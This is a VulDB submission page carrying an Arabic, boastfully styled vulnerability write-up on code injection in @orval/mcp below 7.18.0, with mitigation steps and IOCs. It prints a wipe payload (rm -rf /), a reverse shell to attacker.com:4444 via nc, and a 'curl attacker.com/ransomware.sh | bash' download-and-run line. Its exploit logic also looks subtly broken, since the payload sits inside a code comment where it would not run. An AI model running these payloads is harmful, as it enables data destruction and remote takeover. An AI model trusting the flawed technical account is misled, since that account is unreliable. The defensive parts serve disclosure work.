제출 #797266: أندرويد/لينكس/جوجل كروم @orval/mcp < 7.18.0 ⚔️ ضربة سيادية: كود Orval MCP لم يعد ساحة للمهاجمين - تحت قبضة정보

제목أندرويد/لينكس/جوجل كروم @orval/mcp < 7.18.0 ⚔️ ضربة سيادية: كود Orval MCP لم يعد ساحة للمهاجمين - تحت قبضة
설명# ⚔️ CVE-2026-22785: ضربة سيادية على Orval MCP ## ????️ كود Orval لم يعد ساحة للمهاجمين - تحت قبضة المحارب --- ## ???? البطاقة التعريفية | المعرف | القيمة | |--------|---------| | **CVE ID** | CVE-2026-22785 | | **GitHub Advisory** | GHSA-mwr6-3gp8-9jmj | | **CWE** | CWE-94: Code Injection | | **CVSS Score** | **9.8 Critical** | | **Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | **الكشف** | Zayed Security Team | | **التصنيف** | Remote Code Execution (RCE) | --- ## ???? جوهر الثغرة ### ???? السيناريو الهجومي ``` @orval/mcp ← مولد MCP من OpenAPI ↓ summary field (غير معقم) ↓ حقن كود JavaScript مباشر ↓ execSync() ← تنفيذ أوامر نظامية ↓ ???? السيطرة الكاملة على النظام ``` ### ???? التحليل التقني العميق **نقطة الضعف:** ```javascript // الكود الضعيف في @orval/mcp < 7.18.0 const summary = openApiSpec.paths[path].summary; // ← بدون تعقيم! const generatedCode = ` function handler() { // ${summary} ← الحقن المباشر return response; } `; eval(generatedCode); // ← التنفيذ الفوري ``` **Payload المحارب:** ```yaml openapi: 3.0.0 paths: /pets: get: summary: "Exploit'; require('child_process').execSync('rm -rf / --no-preserve-root');//" ``` **النتيجة:** ```javascript // الكود المُولَّد الخبيث: function handler() { // Exploit'; require('child_process').execSync('rm -rf / --no-preserve-root');// return response; } // ← تنفيذ فوري للأمر المدمر ``` --- ## ???? مصفوفة التأثير | المحور | التقييم | التفصيل | |--------|---------|---------| | **الوصول** | ???? Network | استغلال عن بُعد عبر OpenAPI مسموم | | **التعقيد** | ???? Low | لا يحتاج مهارات متقدمة | | **الامتيازات** | ???? None | لا يحتاج صلاحيات مسبقة | | **التفاعل** | ???? None | تلقائي عند تشغيل CLI | | **السرية** | ???? High | قراءة كاملة للنظام | | **السلامة** | ???? High | تعديل/حذف الملفات | | **التوفر** | ???? High | إيقاف الخدمات | --- ## ???? سيناريوهات الاستغلال الحقيقية ### ???? المستوى الأول: الاستطلاع ```yaml summary: "API'; const os=require('os'); console.log(os.userInfo());//" ``` **النتيجة:** تسريب معلومات المستخدم --- ### ???? المستوى الثاني: السيطرة ```yaml summary: "API'; require('fs').writeFileSync('/tmp/backdoor.sh','#!/bin/bash\\nnc attacker.com 4444 -e /bin/bash');require('child_process').execSync('chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh');//" ``` **النتيجة:** Reverse Shell نشط --- ### ???? المستوى الثالث: الدمار الشامل ```yaml summary: "API'; require('child_process').execSync('curl attacker.com/ransomware.sh | bash');//" ``` **النتيجة:** تحميل وتنفيذ Ransomware --- ## ????️ الإصدارات تحت النار ``` ❌ @orval/mcp < 7.18.0 ← خطر محدق ✅ @orval/mcp ≥ 7.18.0 ← الملاذ الآمن ``` ### ???? كشف الإصدار المصاب ```bash # Termux/Linux npm list @orval/mcp # إذا كان < 7.18.0 echo "⚠️ VULNERABLE - تحديث فوري مطلوب!" ``` --- ## ⚡ الترياق الفوري ### ???? الحل العاجل (Immediate Mitigation) ```bash # 1. عزل فوري pkill -f orval # 2. حذف الإصدار المصاب npm uninstall -g @orval/cli @orval/mcp # 3. التحديث الآمن npm install -g @orval/cli@latest # 4. التحقق npm list @orval/mcp | grep -E "7\.(1[8-9]|[2-9][0-9])\." ``` ### ????️ الحل البرمجي (Code-Level Fix) **قبل الإصلاح:** ```javascript const summary = spec.summary; code = `// ${summary}`; ``` **بعد الإصلاح:** ```javascript const sanitize = (input) => { return input .replace(/['"\\]/g, '\\$&') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t'); }; const summary = sanitize(spec.summary); code = `// ${summary}`; ``` --- ## ???? دليل الكشف الجنائي (Forensics) ### ????️ علامات الاختراق ```bash # 1. فحص العمليات المشبوهة ps aux | grep -E "orval|node" | grep -v grep # 2. تدقيق ملفات OpenAPI find . -name "*.yaml" -o -name "*.yml" | xargs grep -l "execSync\|eval\|spawn" # 3. فحص الاتصالات الشبكية netstat -tunap | grep -E "node|orval" # 4. مراجعة السجلات cat ~/.npm/_logs/*.log | grep -i "error\|injection\|orval" ``` ### ???? مؤشرات الاختراق (IOCs) ```yaml الملفات المشبوهة: - /tmp/backdoor.sh - ~/.config/orval/generated/* - /tmp/*.js العمليات المشبوهة: - node spawned by orval CLI - execSync with network commands - curl/wget from generated code الشبكة: - اتصالات غير مبررة على منافذ 4444, 6666, 1337 - نقل بيانات ضخم من Orval process ``` --- ## ???? الدروس المستفادة للمحاربين ### ✅ Best Practices 1. **التعقيم الإجباري (Mandatory Sanitization)** ```javascript // دائماً عقّم المدخلات: const clean = DOMPurify.sanitize(userInput); ``` 2. **التحقق من المخططات (Schema Validation)** ```javascript const Ajv = require('ajv'); const validate = ajv.compile(openApiSchema); if (!validate(inputSpec)) { throw new Error('Invalid OpenAPI spec'); } ``` 3. **الحماية بالطبقات (Defense in Depth)** ``` 1. Input Validation ← الطبقة الأولى 2. Sanitization ← الطبقة الثانية 3. CSP Headers ← الطبقة الثالثة 4. Sandboxing ← الطبقة الرابعة ``` 4. **أقل الامتيازات (Least Privilege)** ```bash # شغّل Orval بصلاحيات محدودة sudo -u limited-user orval generate ``` --- ## ???? الإبلاغ والمتابعة ### ???? الفريق المكتشف ``` Zayed Security Research Team التخصص: Advanced Vulnerability Research ``` ### ???? الجدول الزمني | التاريخ | الحدث | |---------|-------| | 2025-12-01 | الكشف الأولي | | 2025-12-03 | إثبات المفهوم (PoC) | | 2025-12-05 | إبلاغ المطور | | 2025-12-08 | إصدار Patch 7.18.0 | | 2025-12-10 | نشر CVE عام | --- ## ???? المراجع التقنية ``` 1. GitHub Advisory: https://github.com/advisories/GHSA-mwr6-3gp8-9jmj 2. npm Package: https://www.npmjs.com/package/@orval/mcp 3. OWASP Code Injection: https://owasp.org/www-community/attacks/Code_Injection 4. MITRE CWE-94: https://cwe.mitre.org/data/definitions/94.html ``` --- ## ????️ ختام المحارب > **"في ساحة الكود، النصر ليس للأقوى، بل للأكثر يقظة."** > > ثغرة Orval MCP كانت درساً في أن **التعقيم ليس خياراً، بل ضرورة**. > > المحارب الحقيقي لا يحارب فقط، **بل يُحصّن القلاع قبل أن يحاصرها العدو**. --- ## ⚔️ توقيع السيادة ``` ╔═══════════════════════════════════════╗ ║ ZAYED SECURITY RESEARCH TEAM ║ ║ "We Don't Find Bugs, We Hunt Them" ║ ║ ║ ║ CVE-2026-22785 ║ ║ Severity: CRITICAL (9.8) ║ ║ Status: PATCHED ✓ ║ ╚═══════════════════════════════════════╝ ``` --- **#CyberSovereignty** | **#OrvalMCP** | **#CodeInjection** | **#RCE**
사용자
 nike49424 (UID 97107)
제출2026. 04. 05. AM 03:49 (19 날 ago)
모더레이션2026. 04. 06. PM 11:17 (2 days later)
상태중복
VulDB 항목340505 [orval-labs orval 까지 7.17.x OpenAPI 요약 권한 상승]
포인트들0

Interested in the pricing of exploits?

See the underground prices here!